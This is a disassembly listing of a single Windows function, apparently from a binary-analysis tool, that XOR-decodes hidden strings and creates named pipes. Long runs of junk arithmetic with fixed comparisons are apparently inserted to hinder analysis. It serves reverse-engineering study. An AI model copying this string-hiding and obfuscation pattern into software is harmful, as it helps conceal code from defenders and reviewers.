Function at 0x10057fb0
Capabilities:
Create pipe
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x1c
mov eax, dword [0x100c5328]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x100c5edc], 0
jne 0x1005821a
mov al, byte [0x100c3230]
xor al, 0x5d
mov byte [0x100c3251], al
mov al, byte [0x100c3231]
xor al, 0xb8
mov byte [0x100c3252], al
mov al, byte [str.D_JRNj8]
xor al, 0x18
mov byte [0x100c3253], al
mov al, byte [0x100c3233]
xor al, 0xb0
mov byte [0x100c3254], al
mov al, byte [0x100c3234]
xor al, 0xd5
mov byte [0x100c3255], al
mov al, byte [0x100c3235]
xor al, 0x3a
mov byte [0x100c3256], al
mov al, byte [0x100c3236]
xor al, 0x37
mov byte [0x100c3257], al
mov al, byte [0x100c3237]
xor al, 0x38
mov byte [0x100c3259], al
mov al, byte [0x100c3238]
xor al, 0xc
mov byte [0x100c325a], al
mov al, byte [0x100c3239]
xor al, 0xb3
mov byte [0x100c325b], al
mov al, byte [0x100c323a]
xor al, 0xcb
mov byte [0x100c325c], al
mov al, byte [0x100c323b]
xor al, 0xf6
mov byte [0x100c325d], al
mov al, byte [0x100c323c]
xor al, 0x3d
mov byte [0x100c325f], al
mov al, byte [0x100c323d]
xor al, 0x2a
mov byte [0x100c3260], al
mov al, byte [0x100c323e]
xor al, 0x89
mov byte [0x100c3261], al
mov al, byte [0x100c323f]
xor al, 0x3f
mov byte [0x100c3263], al
mov al, byte [0x100c3240]
xor al, 0x5a
mov byte [0x100c3264], al
mov al, byte [0x100c3241]
xor al, 0x6c
mov byte [0x100c3265], al
mov al, byte [0x100c3242]
xor al, 0xf7
mov byte [str.s_j], al
mov al, byte [0x100c3243]
xor al, 0x77
mov byte [0x100c3268], al
mov al, byte [0x100c3244]
xor al, 0x62
mov byte [0x100c3269], al
mov al, byte [0x100c3245]
xor al, 0x79
mov byte [0x100c326a], al
mov al, byte [0x100c3246]
xor al, 0x10
mov byte [0x100c326b], al
mov al, byte [0x100c3270]
xor al, 0x34
mov byte [0x100c3291], al
mov al, byte [0x100c3271]
xor al, 0x8a
mov byte [0x100c3292], al
mov al, byte [0x100c3272]
xor al, 0xb4
mov byte [0x100c3293], al
mov al, byte [str.Ko_6]
xor al, 0x3b
mov byte [0x100c3294], al
mov al, byte [0x100c3274]
xor al, 6
mov byte [0x100c3295], al
mov al, byte [0x100c3275]
xor al, 0x4f
mov byte [0x100c3296], al
mov al, byte [0x100c3276]
xor al, 0x53
mov byte [0x100c3297], al
mov al, byte [0x100c3277]
xor al, 0x81
mov byte [0x100c3298], al
mov al, byte [0x100c3278]
xor al, 0x33
mov byte [0x100c3299], al
mov al, byte [0x100c3279]
xor al, 0x44
mov byte [0x100c329a], al
mov al, byte [0x100c327a]
xor al, 0xca
mov byte [0x100c329b], al
mov al, byte [0x100c327b]
xor al, 0xb0
mov byte [0x100c329c], al
mov al, byte [0x100c327c]
xor al, 0x71
mov byte [0x100c329d], al
mov al, byte [0x100c327d]
xor al, 0x91
mov byte [0x100c329e], al
mov al, byte [0x100c327e]
xor al, 0x52
mov byte [0x100c329f], al
mov al, byte [0x100c327f]
xor al, 0xe9
mov byte [0x100c32a0], al
mov al, byte [0x100c3280]
xor al, 0x4e
mov byte [0x100c32a2], al
mov al, byte [0x100c3281]
xor al, 0x3d
mov byte [0x100c32a3], al
mov al, byte [0x100c3282]
xor al, 0x52
mov byte [0x100c32a4], al
mov al, byte [0x100c3283]
xor al, 0xbc
mov byte [0x100c32a5], al
mov al, byte [0x100c3284]
xor al, 0x85
mov byte [0x100c32a6], al
mov al, byte [0x100c3285]
xor al, 0x13
mov byte [0x100c32a7], al
mov al, byte [0x100c3286]
xor al, 0x53
mov byte [0x100c32a8], al
mov al, byte [0x100c3287]
xor al, 0x8a
mov byte [0x100c32a9], al
mov al, byte [0x100c3288]
xor al, 3
mov byte [str.sS_], al
mov al, byte [0x100c3289]
xor al, 0x23
mov byte [0x100c32ab], al
mov dword [0x100c5edc], 1
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xc], eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], ecx
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x10], eax
lea eax, [0x100c3250]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.1006fef0
mov ecx, dword [ebp - 0x10]
add esp, 0xc
lea eax, [0x100c3290]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.1006fef0
mov dword [esp], 0xc
mov dword [esp + 4], 0x1a
mov dword [esp + 8], 0x2e
call fcn.100349b0
add esp, 0xc
mov eax, dword [ebp - 0x10]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, eax
mov eax, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, 0xffffffff
cmp eax, ecx
jne 0x10058668
mov eax, dword [0x100c4c40]
and eax, dword [0x100c4c44]
mov ecx, 0x1c84d831
xor edx, edx
div ecx
imul eax, eax, 0xdbfb951e
mov ecx, 0x2efab14d
xor edx, edx
div ecx
and eax, 0x6926283
and eax, 0x2a1b97bb
add eax, 0xbccebd40
or eax, 0x74cb849a
xor eax, 0x6ae77cc7
mov ecx, 0xa29f0e16
xor edx, edx
div ecx
imul eax, eax, 0x4d216631
or eax, 0x882eaf52
add eax, 0x5f0c279f
add eax, 0x1841a08a
mov ecx, 0x107463a0
xor edx, edx
div ecx
and eax, 0x3d8c7177
and eax, 0x8094289f
xor eax, 0x1e52c6f2
or eax, 0x9b5e8f7b
imul eax, eax, 0xe1089a87
xor eax, 0x4e52ebcd
and eax, 0xdb76b0b8
add eax, 0x6984ac21
mov ecx, 0x33464213
xor edx, edx
div ecx
and eax, 0xd14562e1
imul eax, eax, 0xc3b43b72
imul eax, eax, 0x53fabfe5
imul eax, eax, 0x448f6f34
imul eax, eax, 0x6534f0fc
and eax, 0x5175e13d
sub eax, 0xaa77012e
xor eax, 0x7de6327f
imul eax, eax, 0xb1317d19
xor eax, 0xa910fd18
mov ecx, 0xdec45380
xor edx, edx
div ecx
mov ecx, 0x311f3243
xor edx, edx
div ecx
sub eax, 0xd27bbef9
sub eax, 0x6c0a22bd
sub eax, 0xa8f74503
and eax, 0x943ba2f6
mov ecx, 0x89737ebd
xor edx, edx
div ecx
sub eax, 0x46081de7
imul eax, eax, 0xda0bb7e6
add eax, 0xf75dc530
and eax, 0xcaaeb8d6
and eax, 0x9012c2e8
and eax, 0xdb70cfe9
or eax, 0xc916766b
sub eax, 0x58120f7b
xor eax, 0x96658c3e
sub eax, 0x60aea611
imul eax, eax, 0xde8c3fd
imul eax, eax, 0x7eaec0ed
and eax, 0xcf578fc6
xor eax, 0xb0be4f9
or eax, 0x9cf8ab13
mov ecx, 0x18d9d8e7
xor edx, edx
div ecx
xor eax, 0x1bd4f3b1
imul eax, eax, 0x263a0b07
imul eax, eax, 0x9ac845e2
or eax, 0x2d537774
imul eax, eax, 0x23e3da0
mov ecx, 0xfba5f7bd
xor edx, edx
div ecx
sub eax, 0x73e6ed96
or eax, 0xade26f2a
imul eax, eax, 0x2e4ad775
mov ecx, 0x6994a0be
xor edx, edx
div ecx
and eax, 0xa10883d1
and eax, 0x5ac99cd
sub eax, 0xf5cfd2f0
xor eax, 0x7ae389b5
add eax, 0xf81abf26
sub eax, 0xcd04ce6a
cmp eax, 0xe042c326
jae 0x10058a7f
mov ecx, dword [ebp - 0x1c]
mov eax, dword [0x100c4c48]
sub eax, dword [0x100c4c4c]
imul eax, eax, 0x8ecd73a7
xor eax, 0xc36353fb
imul eax, eax, 0x5e937650
and eax, 0x5faebe46
add eax, 0x6c57e4b6
xor eax, 0x35e25c51
and eax, 0x94d16bda
add eax, 0xe41cd48d
add eax, 0x57f2b22
and eax, 0xeb5edb86
xor eax, 0x325235f2
and eax, 0xdc016a3
or eax, 0xc9924a1f
xor eax, 0xd64a497a
add eax, 0x4dcdffa5
xor eax, 0x3cfdb02d
xor eax, 0xbd5ce6f0
or eax, 0xb691cc18
xor eax, 0xf134356c
sub eax, 0x985ce03c
or eax, 0x88320a70
mov esi, 0xe3b63b8f
xor edx, edx
div esi
and eax, 0x13564650
imul eax, eax, 0xfce05d27
sub eax, 0x922d3893
and eax, 0x1604d559
imul eax, eax, 0x8844048c
imul eax, eax, 0x3ff306c6
or eax, 0xa8090f44
xor eax, 0xf1359f15
xor eax, 0x2aba711b
imul eax, eax, 0xf8b5a3c6
and eax, 0x93dda14d
or eax, 0xe4d00bb5
add eax, 0xcd7cc708
mov esi, 0x20d686e7
xor edx, edx
div esi
sub eax, 0xf8e376b7
imul eax, eax, 0xba58f01f
sub eax, 0x1a510907
imul eax, eax, 0x604a7326
and eax, 0x8a6fd2fc
xor eax, 0xb1e9a211
mov esi, 0x3828e7e2
xor edx, edx
div esi
add eax, 0x156eb2de
and eax, 0x96a49f4b
add eax, 0xada60d6d
or eax, 0xccece73d
sub eax, 0x29b04f87
add eax, 0xab1f9201
sub eax, 0xd298f43b
mov esi, 0xb25a1f6
xor edx, edx
div esi
sub eax, 0x50cf80c3
add eax, 0xfc8c62f5
and eax, 0x6f263e99
imul eax, eax, 0x5bb0e6ff
imul eax, eax, 0x31c009c4
and eax, 0x1855022c
and eax, 0x15b1c8f2
xor eax, 0x99b0096d
add eax, 0xcf525ee0
mov esi, 0xe584d983
xor edx, edx
div esi
or eax, 0x77d095d1
and eax, 0xca530ab
or eax, 0x892358ea
sub eax, 0xb3c23e06
xor eax, 0x4fa39ee2
xor eax, 0xdf1d6a35
sub eax, 0xfb7af662
add eax, 0x4a522852
or eax, 0x977729f2
imul eax, eax, 0xa95121e
add eax, 0xa9ca0957
mov dword [ecx], 1
cmp eax, 0xc85c0020
ja 0x100584bd
jmp 0x10058a64
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, eax
mov eax, dword [ebp - 0x18]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, 0xffffffff
cmp eax, ecx
je 0x10058a5b
mov eax, dword [0x100c4c50]
or eax, dword [0x100c4c54]
xor eax, 0x686f30a7
add eax, 0x1482acf9
xor eax, 0xb9a797da
and eax, 0xf702e37e
or eax, 0x24845283
sub eax, 0xa9e02e86
and eax, 0x7d81f81e
or eax, 0x319bfa7e
add eax, 0xd1d4e223
or eax, 0x36830565
xor eax, 0xf38a7cad
add eax, 0xef94dbcb
or eax, 0xdac54957
sub eax, 0xf9424bce
imul eax, eax, 0x51437599
imul eax, eax, 0x362594bc
xor eax, 0x1f755eeb
add eax, 0xbf010496
or eax, 0xc8fd8372
and eax, 0xf9832df
imul eax, eax, 0xa20ccec3
or eax, 0x27161b2b
mov ecx, 0x4f4de621
xor edx, edx
div ecx
mov ecx, 0xe3f8b485
xor edx, edx
div ecx
and eax, 0xd4f4b2f0
sub eax, 0x25efd8a7
mov ecx, 0xdd18816c
xor edx, edx
div ecx
xor eax, 0xb354d139
imul eax, eax, 0x9b7be989
or eax, 0xb5bf85db
or eax, 0x5f9d232b
sub eax, 0xacdd58c8
add eax, 0xd723cc8c
and eax, 0x91ed5f13
xor eax, 0xaca817b3
xor eax, 0xaa27fc51
or eax, 0x72f282ca
sub eax, 0x9b55a5da
mov ecx, 0x7f77ae58
xor edx, edx
div ecx
or eax, 0x3c119f02
xor eax, 0x63f8585f
and eax, 0x5edcefcc
add eax, 0x2ba570aa
mov ecx, 0xe1d187f1
xor edx, edx
div ecx
and eax, 0x62ac0015
and eax, 0xab8e6047
imul eax, eax, 0x770e5b
add eax, 0x5f6a3a44
and eax, 0xf13c2ba4
and eax, 0x171569dc
mov ecx, 0x61a8ade
xor edx, edx
div ecx
xor eax, 0x3f938735
imul eax, eax, 0xe68f9960
mov ecx, 0x4fd0fbce
xor edx, edx
div ecx
imul eax, eax, 0xf0c44993
imul eax, eax, 0x24cbf985
xor eax, 0xec70fd0a
and eax, 0xe4b94cf3
mov ecx, 0xe6c0422e
xor edx, edx
div ecx
xor eax, 0xdaf593ae
xor eax, 0x8be0983c
or eax, 0xe74d59d9
or eax, 0x9d9cdcca
xor eax, 0x3e000973
sub eax, 0xaf938e4d
imul eax, eax, 0xef35bf61
add eax, 0x8824511c
or eax, 0xcb60016c
xor eax, 0xef3229d6
mov ecx, 0x4cd1042c
xor edx, edx
div ecx
xor eax, 0x9b4bf165
add eax, 0x84f9f462
cmp eax, 0x5b76112e
jae 0x10058a8d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [0x100c4c58]
xor edx, edx
div dword [0x100c4c5c]
imul eax, eax, 0xe822f3b3
add eax, 0xf9e5aebc
imul eax, eax, 0x550e81a4
add eax, 0x1925a99f
add eax, 0xc6735e4
or eax, 0xac2c1927
imul eax, eax, 0x309a1c12
add eax, 0xf77e6241
mov esi, 0x72f5335
xor edx, edx
div esi
xor eax, 0x49fa5053
or eax, 0x6eb2735f
sub eax, 0x230ce096
xor eax, 0xc5193997
and eax, 0x1a6d6c20
and eax, 0x6307cb78
xor eax, 0xd45129d9
imul eax, eax, 0x1019a729
mov esi, 0x2ba6a893
xor edx, edx
div esi
mov esi, 0x175f9199
xor edx, edx
div esi
xor eax, 0xfe44e375
and eax, 0xccc6a827
mov esi, 0xf962bde0
xor edx, edx
div esi
and eax, 0x45de4f81
imul eax, eax, 0xfaa26b17
xor eax, 0x7639190d
xor eax, 0x3551cb9e
and eax, 0xd0f77ab1
add eax, 0xa4448fca
mov esi, 0xd4c90fff
xor edx, edx
div esi
mov esi, 0xce3ad8fe
xor edx, edx
div esi
sub eax, 0x196d5780
mov esi, 0xc501f1f3
xor edx, edx
div esi
sub eax, 0x923ee82e
xor eax, 0xf1bc7678
sub eax, 0x88cc763f
mov esi, 0x69754d6b
xor edx, edx
div esi
xor eax, 0xca6684ee
or eax, 0x2b787a55
imul eax, eax, 0x697c0d7b
or eax, 0x64437b23
and eax, 0x4e48e7c8
xor eax, 0xc58f5dae
mov esi, 0x3f2be503
xor edx, edx
div esi
mov esi, 0xe5ecea26
xor edx, edx
div esi
or eax, 0xe6adbe6d
xor eax, 0x4af7b16c
imul eax, eax, 0x9fa1fc11
sub eax, 0x9cf0562b
mov esi, 0xe3f83068
xor edx, edx
div esi
or eax, 0x166b1760
sub eax, 0x3d02b76f
xor eax, 0xc68230b2
xor eax, 0x3e5333d2
and eax, 0x59b160b3
add eax, 0x6cb215a5
mov esi, 0x4439f384
xor edx, edx
div esi
sub eax, 0xf6e904e2
add eax, 0xc6cd1d8d
and eax, 0x883a73d
imul eax, eax, 0x5e36d308
add eax, 0x983626c4
or eax, 0xbd54764
add eax, 0x5cb44f15
or eax, 0x9b7ea6d1
add eax, 0xa4fe0aa4
imul eax, eax, 0x3e37a45d
imul eax, eax, 0xf1ded44
add eax, 0x59de4da0
sub eax, 0x31ac3a1a
or eax, 0x30a21a50
sub eax, 0x50e5f038
or eax, 0x287e166b
mov dword [ecx], 1
cmp eax, 0xbbbe4b99
jbe 0x10058a8d
jmp 0x10058a64
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.1006d02f
mov eax, dword [ebp - 0x20]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
jmp 0x100584bd
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
jmp 0x10058893